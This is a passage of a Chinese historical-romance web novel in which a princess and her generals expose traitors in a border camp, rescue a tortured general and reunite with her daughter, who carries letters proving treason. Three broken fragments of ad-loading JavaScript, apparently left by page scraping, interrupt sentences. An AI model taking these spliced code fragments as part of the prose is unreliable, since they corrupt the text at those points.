祁婧惠将手中的画像递到秦柏面前,“秦将军应该也见过这个吧?” 秦柏微微颔首,神色凝重。 祁婧惠转头看向崔沭,“劳烦崔将军。” “是,殿下。”崔沭应道,随后对着秦柏解释,“从云雪山脉通往京城的必经之路上,先后剿灭了四批伪装成土匪的伏兵。每一批伏兵少则有数百人,多则达上千人。越是靠近云雪山脉,伏兵的数量就越多,实力也越发强劲。 “此次我虽带了两万人前来,然而在剿灭距离云雪山脉最近的这伙匪徒时,依旧损失不小。这群匪徒不但身手矫健,更为关键的是他们竟然携带了火药。经过审讯得知,他们乃是奉命前来截杀画像上的人,且要不惜一切手段将这二人困在云雪山脉中。” 祁婧惠早先得知结果后,心中既震惊又后怕。她万万没有想到,竟然会有如此多匪徒在此处设伏。 随之而来的就是愤怒,这么多匪徒在锦州军营地外为非作歹,锦州军却像死了一样,毫无动静。刘昭到底是尸位素餐还是早有反心? 崔沭张了张嘴,欲言又止。他与刘昭曾一同参军入伍,共同守卫着大宸的边疆,他实在不相信刘昭会干出这种事来。 但如今已经是这般境况,事实胜于雄辩,说什么也没用。他最后只是深深地叹了一口气,不再说话。 秦柏看了一眼崔沭,也没有多话。虽然一路上的遭遇让他早有猜测,但现在云雪山脉的情况还是让他忍不住皱起眉头。 他沉吟片刻,实在捉摸不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 透刘昭这么做的目的。只得抬起头来问道:“那殿下您的意思是?” “既然两位将军都在这里,那请随我去一趟锦州营。”祁婧惠站起身来,不管锦州军里发生了何事,她都不能坐视不管,“定北军盯着云雪山脉,涑州军随我同去锦州营。” “遵命!” 十月的锦州,雪下得格外大。那纷纷扬扬的雪花如同鹅毛般大得惊人,好似有人有着莫大的冤情,正在祈求能够沉冤得雪。 一只灰色的鸽子悄然掉落在锦州营的一个角落里,瞬间便被这严寒冻得僵硬。 有兵士路过此处捡起鸽子,打开鸽子腿上的竹筒,他看完里面的消息之后,脸色骤变,迅速向主帐跑去。 “校尉。”兵士用力掀开帐帘,急匆匆地对刘昭的副官蒋奎说道,“那边送来消息,明安郡主二人已经逃进云雪山脉了。” “怎么跑云雪山脉来了。”蒋奎闻言一惊,猛地站起身来,急得在帐内团团转。“现在长公主和崔沭带兵守着云雪山脉,我们还怎么拦截他们。” 也不知那位长公主殿下吃错了什么药,在雁京待得好好的,突然出来带兵剿匪。 她这一行动,将他们安排在云雪山脉的人手清理一空。如今,竟直接驻扎在山脉脚下,这可真是让他们陷入了极为被动的局面。 蒋奎突然停下乱转的脚步,神色凝重道:“难道他们已经得到明安郡主在苍狄逃亡的消息?” “应该不能吧……”送信来的兵士与他面面相觑。 “我也觉得不可能。以殿下对郡主的爱重,要是得知郡主正被苍狄追捕,肯定带兵攻打苍狄去了,那还能安静地在大宸剿匪。”蒋奎决定别自己吓自己,努力让自己冷静下来。 现在更重要的是怎么把长公主给哄走。虽然现在锦州下着大雪,云雪山脉里的情况更加糟糕,一般人这时候进去都会死在里面。但谁也说不准秦熠那小子到底有多大本事,他赌不起。 可惜还没等蒋奎想出应对之策,门外又有卫兵神色慌张地来报:“校尉,嘉阳长公主来了!” 蒋奎闻言差点跳起来,满脸惊恐地问道:“殿下到哪了?” “已经进营地,正往这边过来。”卫兵急忙回答道,长公主殿下拿着虎符,谁敢阻拦那可真是吃了豹子胆。 卫兵又补充道:“还有秦柏将军和崔沭将军也来了,殿下身后还跟着近万涑州军。” 来者不善啊!数九寒天,蒋奎只觉一股寒意从脚底直冲脑门,头上的冷汗瞬间滴落下来。 他呆坐在椅子上,心中唉道吾命休矣。 卫兵们焦急地问道:“校尉,这可如何是好?” 不等蒋奎说话,帐帘突然被一把掀开。 “什么如何是好?”祁婧惠大步走进营帐,冷着脸质问,那气势不怒而威,“让刘昭滚出来!” 锦州营其他副将得知嘉阳长公主到来,也匆匆忙忙地赶了过来。 在门口就听到殿下召见刘将军,他们赶紧小跑进营帐,请罪道:“殿下恕罪,刘将军病了,起不来身。” “病了?真是巧。”祁婧惠冷笑一声,“就算快死了也把他给本宫抬过来。” “这……”众副将面面相觑,犹豫起来,“殿下,实不相瞒,我们也已经十多日没见过将军了,蒋校尉说将军染了天花,病势凶险。” 有一名副将转头问蒋奎:“蒋校尉,现在殿下召见将军,将军可能出来了?” 听到刘昭患了天花,崔沭忍不住要怒骂出声,但一只大手死死地按住他的肩膀。他把到嘴边的骂声硬生生咽了回去,刘昭曾说过他七岁时就已经出过花了,不可能再患天花,他们分明在撒谎! 秦柏按住崔沭,不让他出声,自己则死死地盯着冷汗淋漓的蒋奎。 蒋奎的异样,祁婧惠自然也看出来了,她一拍桌子,怒喝道:“来人,将他们全部抓起来,涑州军的人进来搜,就算把锦州营拆了,也要给本宫把刘昭挖出来!” 107.重逢 昏暗阴沉的地窖中,刘昭虚弱地趴在冰冷的地面上,他的四肢以一种诡异的角度扭曲着,嘴唇上裂开好几道口子,稍稍一张嘴,便有鲜血从裂口中流下。 他已经有十多日未曾进食,这些日子以来,他仅仅靠着泥土中那一点点微薄的湿气苟活着。 真是没想到,自己身边竟会有人被苍狄收买。刘昭苦笑,他不知道自己还能坚持多久,心中只盼着那些叛徒们没酿成更大的祸事。 半个月前,哨兵传来消息,靠近云雪山脉一带有山匪出没。刘昭听闻此讯,当下便决定清点人马,亲自带兵前去剿灭山匪。然而他的副官蒋奎却拦住了他,言辞恳切让他坐镇大营。 刘昭哪里会想到,这竟是一场精心策划的阴谋。就在当天晚上,他被蒋奎和那些平日里看似忠诚的亲兵联手关进了地窖中。 之后他才得知,原来他的副官和亲兵早已被苍狄收买,成了苍狄埋在锦州营的钉子。他们一直试图策反他,甚至用他远在雁京的家人来胁迫他为苍狄效力。但刘昭宁死不从,便生生被他们打断了手脚。 若不是他这将军之位还有那么一点用处,恐怕早就被他们一刀结果了性命吧。 现在想来,云雪山脉周围的匪徒恐怕就是他们安排的,只是刘昭不明白他们究竟想要做什么。 正思索间,他头顶上方地窖的盖子被人打开。一道光亮照进这阴暗的地窖,刘昭下意识地扭过头去。来人逆着光,身影模糊不清,看不清是谁。 他的喉咙干哑得如同被烈火灼烧过一般,艰难地喝道:“蒋奎你个狗贼……” “老刘!”来人一声惊呼,打断了刘昭未说完的话。 刘昭听到熟悉的声音,心中惊疑不定,他努力睁大眼睛看着来人:“崔沭?” 随后进来的侍卫们手中高高举着火把,火光照亮了整个地窖。 崔沭连忙走过来,想要扶起刘昭,然而,当他的目光落在刘昭扭曲的四肢上时,浑身猛地一震,“怎会如此!” 刘昭却没有理会崔沭,他紧紧盯着从地窖口楼梯处走下来的女子。他的手脚此刻已经不能动弹,只能用尽全身力气一点一点地挪过去。 崔沭见状,想要伸手去扶他,可刘昭却躲开了崔沭的手,他艰难地朝着那女子爬去。 “臣治下不严,未能及时发现奸人,臣罪该万死。”刘昭的身体扭曲着趴在祁婧惠面前,他用力地磕了个头,额头与地面相撞发出沉闷的声响,“但刘昭未曾有过一丝反叛之心,刘昭生是大宸的人,死是大宸的鬼!” 祁婧惠看着脚边已经不成人形的刘昭,心中悲痛。她蹲下身,凝视着这双满是赤诚的眼睛,轻声道:“刘将军受苦了。” “臣罪有应得。”刘昭抬起头,急忙道:“殿下,臣的副官蒋奎……” “刘将军放心,你先好好养伤,旁的事,本宫会奏明陛下,由陛下定夺。”祁婧惠轻轻按住刘昭,实在不忍心大宸的忠臣良将落得如此下场。 既然长公主殿下和崔沭找到了他,蒋奎等人想必也已经被殿下擒住。想到这里,他那颗悬着的心终于放了下来,放心地昏死过去。 祁婧惠缓缓站起身来,吩咐道:“将刘将军抬回去,好生医治。” “我来。”崔沭抹了一把脸上的泪水,他和自己的亲兵们一起,小心翼翼地将刘昭抬出地窖。 地窖狭小逼仄,秦柏并未进去,只是静静地站在地窖口等候。当他看到被抬出来四肢尽断的刘昭时,狠狠皱起了眉头。 “还好,”崔沭对他扯了扯嘴角,试图露出一个笑容,却无比苦涩。“治下不严总比通敌叛国好。” 秦柏沉默地点点头,“定北军的军医也来了,让人去请军医过来给刘将军诊治吧。” “谢过秦将军。”崔沭拱手道谢。 不同军营的军医也有优劣之分,定北军常年跟北穆交战,他们的军医也是出了名的医术精湛。以刘昭现在的状况,能有定北军的军医为刘昭诊治,会有更大的希望痊愈。 秦柏摇了摇头,没再说话。他身边的侍卫立即向定北军的营地跑去。 “将军!”不远处的锦州军兵士也看到了被涑州兵抬出来的刘昭,顿时骚乱不已。 本来他们还不服气涑州军在他们锦州军的营地上大肆搜查,只是碍于嘉阳长公主在此才没有阻拦,但也谈不上配合。 直至此刻看到被折磨得奄奄一息的刘昭,有脑子灵活的兵士想到前些时日蒋奎说将军染上了天花,立马反应过来蒋奎骗了他们。 “狗娘养的蒋奎!”有兵士大声骂了一句。 也有人不敢相信,小声辩驳道:“说不定姜校尉也不知道怎么回事呢。” “呸!他不知道?就是他说将军得了天花,还不让别人探望,就是他在搞鬼!” 大营中闹哄哄的,还有更多的锦州兵听到消息匆匆赶了过来,看到受伤惨重的刘昭皆是满脸愤怒。 不过有涑州军在这里镇着他们,一时半会儿也出不了什么乱子,秦柏便没管他们。 走出阴暗的地窖,祁婧惠抬头看了一眼雪花渐渐变小的天空,正准备下令安排后续事宜,长公主府侍卫快速跑了过来。 “殿下!”侍卫步伐急促,手中紧紧捏着一张纸条,纸条上沾着可疑的水渍。 侍卫展开纸条,呈至祁婧惠面前,解释道:“之前在主帐中扣下的侍卫形迹可疑,他想将这张纸条吃掉,属下才从那人嘴里抠出来。” 他生怕耽误了大事,便赶紧跑了过来。不过纸条上面沾了唾沫,他不敢让长公主殿下触碰。 祁婧惠凝神看去,纸条上的字迹虽然有些已经模糊不清,但仍然能够清晰地看到“明”、“郡”、“熠”、“云雪”等字样。从这些零碎的字迹中,可以拼凑出瑶儿和秦熠已经逃进了云雪山脉。 “秦将军,我们马上回云雪山脉。”她立即下令,随后看向崔沭,“本宫先带走涑州军,崔将军,你留在锦州营善后。” 秦柏和崔沭看过纸条后,立马领命行动起来。 当他们回到云雪山脉时,风雪已经完全停止。太阳洒下温暖的光芒,除了地上厚厚的积雪,似乎之前的大雪都是一场梦。 雪地行动的经验,祁婧惠没有秦柏丰富,她便没有过多指挥,只是静静地站在一旁,看着秦柏有条不紊地安排着定北军准备进山寻人。 数千名定北军兵士迅速带着各种防寒物资,走进被冰雪覆盖的云雪山脉。 连续好几日的大雪过后,云雪山脉内风平浪静,阳光照射在冰层上,反射出刺眼的光芒,宁玉瑶被这强光刺得睁不开眼睛,只能低着头,紧紧趴在秦熠的背上。 那场大雪对他们来说,也不全然是坏事。 前几日的暴风雪,就连秦熠这般身手不凡在冰川内行走都极为困难,更不用说那些普通的苍荻兵士。 最初的几天里,他们偶尔还能听到追兵的声音,甚至还能看见被狂风吹到距离他们不远处断壁上的苍荻兵士的尸首。 然而随着他们深入云雪山脉,别说追兵,就连尸首都未再出现过,这方天地仿佛只剩下了他们二人。 “玉瑶冷不冷?”秦熠拄着长枪站在原地休息,他的声音有些沙哑。 “不冷。”宁玉瑶从披风中伸出手,轻轻碰了碰秦熠脸上没有裘皮包裹住的一小块皮肤。 秦熠感受到宁玉瑶手上的温暖,心中稍稍放下心来。 但他并没有因此放松,几日过去,他手中的行囊已经缩小了许多。他们准备的木炭和食物最多只能再支撑三日。 尽管他没有明说,但宁玉瑶也看到了他们所剩无几的食物。她在有意识地减少进食,秦熠心里不由得着急,他抬头看着天上的太阳,仔细辨别方位。 没休息多久,他咬咬牙,背着宁玉瑶继续往前走。他们必须在三天内走出云雪山脉,否则没有食物和炭火,他们会被永远留在这里。 远处的高山上,定北军斥候正手持千里眼四处搜寻。突然,斥候发现远处有个小黑点正缓缓朝锦州方向移动。斥候精神大振,赶紧挥动旗帜通知山下的人。 山下候命的传令兵一直紧盯着山上动静,看到旗语立刻朝山脉外狂奔。 雪停后,祁婧惠和秦柏已在山脉脚下等了五天。 云雪山脉广袤,里面的环境复杂,数千定北军进入其中也只是如滴水汇入河流,激不起任何波澜。 天色渐暗,本以为今日又无消息,一名传令兵快速从山脉中跑出来,几乎是一路从山上滚到他们面前。 秦柏的侍卫连忙扶起传令兵,他顾不上疼痛,大声喊道:“启禀殿下,将军,斥候看到有人过来了!” “当真?”祁婧惠和秦柏面露喜色,马上命人准备进山。他们不管来的是谁,若是他们的孩子,就去迎接,如果是苍荻人,那便顺手宰了。 等祁婧惠和秦柏带着人走进冰川中,天色已经彻底暗了下来。 夜晚的冰川十分危险,秦熠他们没有火把,四周一片漆黑,看不清前方的路。这样的情况下,贸然行走很容易掉进隐藏在黑暗中的冰缝,故此晚上他们一般会找个山洞休息。 今日秦熠找了许久都没有找到山洞,他只能找了个背风的地方,扎好帐篷便燃火烤热他们所剩不多的食水。 宁玉瑶静静地坐在他身边,眼睛一眨不眨地看着他烤饼。他们携带的木炭即将用完,每次仅能点燃一小部分。 尽管他们面前有着炭火,宁玉瑶的脸没用多久就变得冰凉,秦熠心疼不已,“玉瑶你去帐篷里,外面冷。” “不冷。”宁玉瑶嘴硬道,话音刚落就吸了吸鼻子。她手忙脚乱地掏出帕子,擦掉被冻出来的清涕,心虚地笑着往秦熠身边挪了挪,“我陪着你。” 秦熠无奈,见她不愿意走,只好将她连人带斗篷地抱在怀里。宁玉瑶满足地缩成一团,轻声跟秦熠说一些没有边际的闲话。 即便是一些没什么用处的闲话,秦熠也认真听着,偶尔回应两句。 等饼烤好,秦熠将其中一个递给宁玉瑶。宁玉瑶接过饼,又掰了一半给秦熠,“我只吃半个就够了。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 秦熠没接,“听话,吃完这一个。” 宁玉瑶才不听秦熠的话,直接将那半个饼往他嘴里塞,笑眯眯地看着他。秦熠拗不过她,只好拿过那半个饼,揉揉她的头发,“好了,快吃吧。” 宁玉瑶这才开始啃她手中剩下的饼,没吃两口,秦熠察觉到有人在靠近。他将宁玉瑶放在火堆边,“玉瑶你在这里,我去看看。” “嗯。”宁玉瑶乖巧点头。 秦熠循着声音的方向走去,他躲在暗处,静静观察着靠近的人群。 距离太远,即便那群人拿着火把,也看不见他们的面容,他只得举起手中的弓箭对准那边,手指紧扣在弓弦上,只待看清来人的身份。 没想到他刚刚举起弓箭,一道呵斥声传来:“秦熠,不得无礼!” “爹?”秦熠听得分明,是他爹的声音,他连忙放下弓箭跑了出去。 最先看到的是走在人群中的威严女子,他连忙跪地行礼:“微臣秦熠参见长公主殿下。” 祁婧惠快步走到秦熠面前,扶起秦熠,“快快起来。” 秦熠知道长公主来这里最关心的是什么,他没有废话,直接对祁婧惠说:“郡主就在前面休息,殿下请随我来。” 他们都不放心宁玉瑶一个人待在那里,快速跟着秦熠向他们休息的地方跑去。 昏暗的岩壁下,微弱的炭火仿佛随时都会熄灭,只剩下星星点点的光芒在黑暗中挣扎。 祁婧惠隔着很远就看到了她的女儿坐在火堆边,手里拿着一块饼子慢慢地啃着。 “瑶儿!”一年未见的女儿近在眼前,祁婧惠再也忍不住,大声唤道。 宁玉瑶一瞬间以为自己产生了幻听,不然怎么会听到娘亲的声音? 她抬起头,看着一群举着火把的人正朝她这里跑来,为首的女子正是她日思夜想的娘亲。 “娘!”宁玉瑶不可置信地站起身,直到他们越来越近,她才确信真的是娘亲。她快跑两步,如同一只归巢的小鸟,扑到祁婧惠的怀里。 “娘亲,真的是你吗?”宁玉瑶声音颤抖,泪水在眼眶中打转。 “乖瑶儿,娘亲来接你了。”祁婧惠紧紧抱住自己失而复得的女儿。 “娘,瑶儿好想您。”宁玉瑶再也忍不住,泪珠簌簌往下掉。 祁婧惠抱着女儿,耐心地安抚着她,她看着女儿就算哭也捏在手中不放的饼子,心酸不已。她无法想象,她的掌上明珠这一路吃了多少苦,受了多少罪。 那边,母女俩久别重逢,温情脉脉。这边,秦熠跟严耕他们打过招呼后,便没大没小地靠在他爹秦柏身上,“爹,你们知道我和郡主在被苍荻追杀了?” “废话,苍荻搞出那么大动静,你爹我又不是傻子,还能不知道?”秦柏任由秦熠如没骨头般靠着自己。 要是以往,他早就开始训斥秦熠这般没个正形的模样了,但这次他知道儿子辛苦,便由着他放松一会儿。 “嘿嘿,还不错。”已经好些时日没好好休息的秦熠本来还能强撑着,可现在看到家人和熟悉的兄弟们,只觉得所有的疲惫都如潮水般涌了上来。他闭着眼睛,身体摇摇欲坠。 秦柏本来还想问他们在苍荻发生了何事,可现在看到儿子那撑不住的疲惫模样,只得轻叹一声,罢了,不急这一会儿。 他刚要将儿子背起来,一旁的严耕等人赶紧过来,“将军,我们来背吧。” 秦柏毕竟已经上了年纪,没有勉强,扶着半睡半醒的儿子趴在严耕背上。 “辛苦你了,严哥。”秦熠勉强睁开眼睛,嘟囔了一句,就再也没有动静。 长公主府的侍卫们也已经将宁玉瑶他们的行囊收拾好,宁玉瑶这才想起将他们千辛万苦带出来的小包裹递给祁婧惠。 “这是什么?”最外层的皮料看着不像是普通皮子,祁婧惠忍不住问。 “我们从国师府偷的苍狄舆图,”宁玉瑶回道,她抿唇轻声说,“还有部分官员通敌卖国的信件。” “难怪,”祁婧惠和秦柏闻言俱神色一凛,“难怪会出动这么多人截杀你们。” “这里不是说话的地方,我们先出去。”祁婧惠紧紧抱住女儿豁出命弄出来的证物。 宁玉瑶点头,被长公主府的侍卫们背着跟在娘亲身边。将这些家国大事都丢给长辈后,她又成了那个娇气的明安郡主。 “娘,回京以后我要吃八珍羊烩。”宁玉瑶拉着祁婧惠的手撒娇道。 “好,回去娘就请御厨来府上给你做,想吃什么就做什么。”祁婧惠满口应下。 宁玉瑶闻言,高兴地继续嘀嘀咕咕报着菜名,祁婧惠耐心地应着,不管女儿想吃的东西多么离谱,她都认真记在心里。 渐渐地,宁玉瑶的声音越来越小,在母亲温柔的声音中沉沉睡去。 祁婧惠爱怜地轻抚女儿脏兮兮的小脸和如同杂草般凌乱的头发。 她握紧手中的包裹,与秦柏对视一眼,两人眼中尽是狠戾。她倒要看看,是哪些吃里扒外的东西在等着被她收拾。 108.娇纵 雁京。 宣王府书房中一片死寂,幽暗的烛火无风自动。 祁晖珉沉默地盯着书桌上的那封密信。密信上的字迹,随着烛光的跳动扭曲着,好似可怖的恶鬼正张牙舞爪,想要冲破那张薄薄的宣纸,扑到祁晖珉身上撕咬。 下首的幕僚们也都已知晓密信上的消息,他们站在祁晖珉面前,等待着他的决策。 书房内的气氛压抑得让人几乎喘不过气,终于有人沉不住气,忍不住开口唤道:“殿下,如今形势紧迫,还请您早做决断。” 祁晖珉依旧没有说话,他在想,宁家人是不是天生就与他犯冲? 只是一个普通的上巳节,宁玉瑶就能看见春玉娅,看到也就罢了,她居然还能联系到归霞草,就因为她,使得他精心布置的计划功亏一篑。他动用了许多暗桩,探查许久才得知真正的罪魁祸首原来是她! 到了端午节又莫名其妙地跑去谢家庄子赏石榴花,她这一去,养在庄子里的刺客来不及躲避,直接就与他们撞了个正着。 更不提在掖州时,她竟然顶替了太子,让太子平安回京。 本以为经历了这么多事情,宁玉瑶会就此命丧掖州,可谁能想到,她又跑去了苍荻国都,而且还带着他与苍荻国师的密谋信件逃回来。 祁晖珉心中暗恨,怒喝道:“这么多人追杀宁玉瑶,她居然都死不了!那姓秦的当真如此厉害?” 幕僚们一个个低垂着头,大气都不敢出。 祁晖珉怒不可遏,随手将手边的镇纸狠狠地砸向一个八字胡的文弱中年男子,大声喝道:“说话!不是你总说秦熠只是个靠父亲蒙荫的浪荡败家子吗!” 那八字胡男子不敢躲闪,被镇纸砸得头破血流。 他惊慌失措地趴在地上,连连求饶:“殿下……小的……” 他呐呐半晌,却不知该如何替自己辩解,只得无奈地闭上了嘴,伏跪在地上,心中苦不堪言。 秦熠初上战场才十四岁,就立下赫赫战功。他便以为是秦柏将自己的功劳按在自己儿子头上,否则一个半大小子哪来那么大的能耐。 却没想过秦熠是真有本事,一时轻敌竟然酿下如此大祸。 站在一旁的其他幕僚没有人为他求情。他们早就劝过宣王,秦柏为人正直,绝不会干出让自己儿子冒领战功的事来。 也不知道这人给王爷灌了什么迷魂药,王爷居然也笃定秦柏就算正直也会有私心,秦熠一个十来岁的毛头小子能有什么本事。 如今事实证明,秦熠青出于蓝而胜于蓝,他的武艺绝对在秦柏之上。 不过事已至此,多说无益。 “殿下,”一直这样僵持也不是办法,一名幕僚硬着头皮请示道,“现在长公主和秦柏已经带兵守在云雪山脉外,我们的人被清理大半。剩下的人不能再去送死了,宁玉瑶和秦熠也已经逃进云雪山脉,他们汇合是必然之事。一旦长公主拿到信件……” 剩下的话,幕僚没有说出口,但在场众人都明白他的未尽之意。这可是叛国同敌的大罪啊!即便殿下是皇长子,陛下也饶不了他。 祁晖珉闭上眼睛,紧紧地咬住后槽牙,祁婧惠!秦柏!都是你们逼我的,既然如此,不如背水一战。 他下定决心,睁开眼下令:“去通知其他人,召集人马准备行动。” 幕僚们得令,躬身退下,迅速向其他官员府邸跑去。 那名趴跪在地上满头鲜血的八字胡男人也顾不上处理伤口,跟着同僚们迅速离开宣王府。 现在他只盼能够将此事办成,或许还能将功折罪,让殿下饶他一命。 雁京城内,数位大宸官员府邸的后门在夜色中被悄悄敲响。 官员们的神色在夜色下晦暗不明,他们从未想过会走到这一步,如今已无退路。 “请回禀殿下,三日后臣必会全力以赴。” 无人知晓的隐蔽角落,源源不断的人悄然朝着雁京涌来。 夜色渐渐褪去,天缓缓亮了起来。绚烂的朝霞映照在天边,各种色彩交织在一起,给大地披上了一层瑰丽的光彩。 宁玉瑶在侍卫背上醒来,她揉了揉睡眼朦胧的眼睛,下意识唤了一声:“熠哥哥,我昨晚梦到娘亲了。” 话音刚落,她头上的兜帽被掀开,一只柔软细腻的手抚上她的脸颊,温柔的声音在耳边响起:“乖瑶儿,娘在这里。” “娘!”宁玉瑶惊喜地瞪大眼睛,看着面前含笑扶着她后背的母亲,再转头看向围绕着他们的侍卫。终于确信,她已经回到了母亲身边,脸上也不由得绽放出灿烂的笑容。 “娘,熠哥哥呢?”宁玉瑶又四处张望,目光所及之处皆是冰雪皑皑,不见秦熠的身影。 祁婧惠心中无奈,怎么一睁眼就是秦熠?不过这一年来他们一同历经生死,想必早已习惯了彼此的陪伴。 她伸手将宁玉瑶粘在脸颊上的乱发轻轻别到耳后,柔声说道:“他跟秦将军在后面呢。” “秦将军也来啦?”宁玉瑶闻言,心中羞赧。昨晚只顾着和娘亲说话,满心欢喜让她没注意到身边还有其他人。 不多时,秦柏和秦熠得知宁玉瑶醒来,一同走上前来。 “明安郡主休息得可好?” “秦将军,请恕明安失礼。”明安本想下来行礼,但她此刻被包得严严实实,动弹不得。 秦熠自然不会在意,他笑眯眯地说:“郡主能平安回来就好,不必在乎那些虚礼。” 祁婧惠在一旁,摸着女儿刚露出一会儿就有些发凉的脸,“瑶儿要不要再休息会儿,再走一个时辰我们就能出去了。” “不用,”宁玉瑶摇头,她转头望向走到她另一侧的秦熠,问道:“熠哥哥,你将这些时日的事告诉娘亲和将军了吗?” “还没呢。”秦熠也是刚醒来不久,跟他爹还没说上几句话就过来了。 “那我来说,我来说。”宁玉瑶兴致勃勃道。 这等小事,秦熠自然不会跟她争抢。 宁玉瑶一脸神秘地问祁婧惠:“娘,秦将军,你们知道朱旦英吗?” “苍荻的朱家人?”祁婧惠思索着问道。 宁玉瑶用力点头。 祁婧惠笑道:“大宸的老仇人,我们老一辈自然都是知道的。” “朱旦英被我杀啦!”宁玉瑶骄傲地昂起头。 祁婧惠和秦柏都惊讶地看着她,周围的兵士们也都是满脸赞叹。 朱旦英在大宸烧杀掳掠的事情哪个大宸兵将不知道?又有谁不对他恨之入骨?如今竟被大宸郡主了结,怎不大快人心? “乖瑶儿,你怎么做到的?”祁婧惠赶紧问道。 宁玉瑶从他们在启宁镇司殿见到那个小男孩说起,绘声绘色地讲述他们二人一路在朱家招摇撞骗,让朱旦英的病越治越严重,最后一把火把朱家的百年基业烧了个精光。 “瑶儿真厉害,”祁婧惠看着宁玉瑶得意的表情,心中满是欣慰。她压下对女儿的心疼,笑着问:“瑶儿的医术又是从何学来的?” 离开雁京时,瑶儿的医术之差,糊弄人都不太像样,在苍荻必然得有几分本事才能够唬住朱家人。 “是跟一位姓江的老人学的,熠哥哥当初受了重伤也是江老救的。”宁玉瑶又简单地说了小谷村的事情。 秦柏这才知道,儿子当初竟然命悬一线。他后怕地拍了拍身边儿子健壮的肩膀,“这位江老医术精湛,对我们秦家有大恩。不如找个机会将他接出来,也好报答他的恩情。” “可是江老已经九十高龄了,”宁玉瑶神色黯然,“江老说他已经经不起折腾了。” 姓江的九十岁大宸医者?祁婧惠心头一动,赶紧问道:“你可知道江老的名讳?” “江老没说过,”宁玉瑶看着母亲皱起的眉头,轻声问道:“这位江老有什么问题吗?” 既然不知道名讳,那便罢了。现在还有更重要的事,她笑着安抚女儿,“无事,只是想起一位老神医。” 一旁的秦熠见他们出去的方向是离锦州营最近的路,问秦柏:“爹,锦州营里的叛军抓到了?” “你也知道?”秦柏挑眉。 “嗯,我们找到的信件里有几个锦州武将的名字。”秦熠解释道。 这条路确实是出冰川最近的路,但也因为离锦州营太近,秦熠本打算带着宁玉瑶绕道从另一边出山,尽量绕开锦州军。 说起信件,秦柏脸色一正,严肃道:“马上就要到大营了,等下我们再详谈。” 云雪山脉的出口就在不远处,他们现在所处的位置已经能够清晰地看到外面那与山脉内截然不同的黄褐色土地。 等到彻底踏出云雪山脉,宁玉瑶转头,再次看向那片冰山。 清晨的阳光洒在云雪山脉上,给整个山脉镀上了一层金色,宛若一片金山矗立在天地之间,闪烁着耀眼的光芒。 谁能想到如此美丽的地方,里面却危机重重。 宁玉瑶收回目光,从侍卫的背上下来,脱下厚重的熊皮斗篷,换上祁婧 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 惠带来的轻便火红狐裘。 祁婧惠本想让女儿回营帐休息,但宁玉瑶不愿意,她亦步亦趋地跟在母亲身后,眼巴巴地看着母亲,祁婧惠心软,便由着女儿跟进了主帐。 吩咐侍卫端来热水,祁婧惠亲自帮宁玉瑶擦干净脸,再将女儿凌乱的头发梳理整齐,简单地扎了个辫子。 随后才打开宁玉瑶交给她的小包裹。刚打开,映入眼帘的就是一颗硕大的夜明珠。 秦柏不禁嚯了一声,惊讶道:“你们从哪弄来的好东西。” 秦熠笑嘻嘻地说道:“祈月杖上拆下来的,国师那个老头子用这么好的东西太糟蹋了,送给玉……明安刚好。” “玉”字刚说出口,秦柏就狠狠地瞪了过去。秦熠一时顺口没反应过来,他尴尬地嘿嘿傻笑着,试图糊弄过去。 这段时日宁玉瑶虽然习惯听秦熠叫她的闺名,但此刻当着这么多长辈的面,她还是有些不好意思。她低着头,脸色绯红,不敢看母亲的脸。 祁婧惠把玩着手中的夜明珠,只当没听见秦熠对女儿的称呼,笑道:“祈月杖乃是苍荻的镇国之宝,你们被追杀得真不冤。” “这有什么,”宁玉瑶见母亲没有生气,立即又得意起来,“熠哥哥还把他们苍荻国都给炸了呢,我也给苍荻王和国师下了毒。” 祁婧惠好笑地看着女儿,这孩子走到哪折腾到哪,差点回不来了也不知道害怕。但她不打算斥责女儿,能回来就好。 她将目光从女儿身上移开,打开下面的信件,认真翻阅起来。 祁晖珉、方廷峪、姜奎、张彦、王凉…… 一个又一个熟悉的名字映入眼帘,大宸的王爷,朝中大臣,戍边将军,乃至皇城的内侍,竟然都成了苍狄埋下的钉子。 最开始看第一封信时,祁婧惠和秦柏满腔怒火。他们难以想象,竟然有如此多的人被苍狄收买。然而随着一封一封信件全部看完,他们反倒冷静了下来。 “想不到啊……”秦柏手中拿着方廷峪写给苍荻国师的信件,心中沉痛,“殿下,李皓仅带了一万兵马,恐怕不是方廷峪的对手。” 祁婧惠颔首,她抬起头,正欲说话,就看见自己女儿挨着秦熠坐着。 椅子对宁玉瑶来说有些高,她的双腿悬空,轻轻晃悠着,不知道在跟秦熠嘀嘀咕咕说些什么。那副烂漫的模样,半点都看不出来是雁京城中的贵女。 祁婧惠本就不拘着宁玉瑶学规矩,如今瞧着女儿似乎比以往更轻松肆意。她也不在意,规矩这东西,从来都不是约束他们这些人的。只要女儿开心,其他的都不重要。 宁玉瑶余光瞥见母亲正盯着她,她连忙跳下椅子,蹭到母亲身侧,乖巧地问道:“娘,您看完啦?” “嗯。”祁婧惠示意女儿坐下,转头问秦柏:“秦将军有何高见?” “秦熠之前说国师府养了许多信鸽传递消息,只怕宣王很快就会知道郡主已经平安回来的消息。我们必须赶快回雁京。” 祁婧惠颔首表示同意。秦柏和李皓两名大将不在雁京,现在城中只有宁渊和梁琅大将军镇守。 信件上还有两名武将已经投靠了苍荻,现在那些奸佞都知道瑶儿带回了证物,很有可能会铤而走险。 形势十分危急,他们必须尽快回援雁京。 祁婧惠叫来门口的侍卫,问道:“刘昭现在情况如何?” 侍卫恭敬回道:“启禀殿下,刘将军除了四肢尚未痊愈,基本已无大碍。” “好。”祁婧惠沉吟片刻,下令道:“秦将军、崔沭立即率兵回京,刘昭带人守好云雪山脉,不得让任何苍狄人活着踏入大宸。瑶儿,你跟秦将军一起回去。” “娘,您呢?”宁玉瑶拉着母亲的袖子,眼中满是不舍。 “娘得去一趟秧州,”祁婧惠抱着宁玉瑶,轻抚女儿的头发,“秧州极为关键,不得有失,娘必须亲自前往,才能确保秧州安全。” “嗯,娘您放心。”宁玉瑶乖乖点头,“女儿会听秦将军的话。” 祁婧惠欣慰地点头,看向秦柏,“秦将军,事不宜迟,我们立即启程。” 数万大军训练有素,迅速拔营向雁京进发。 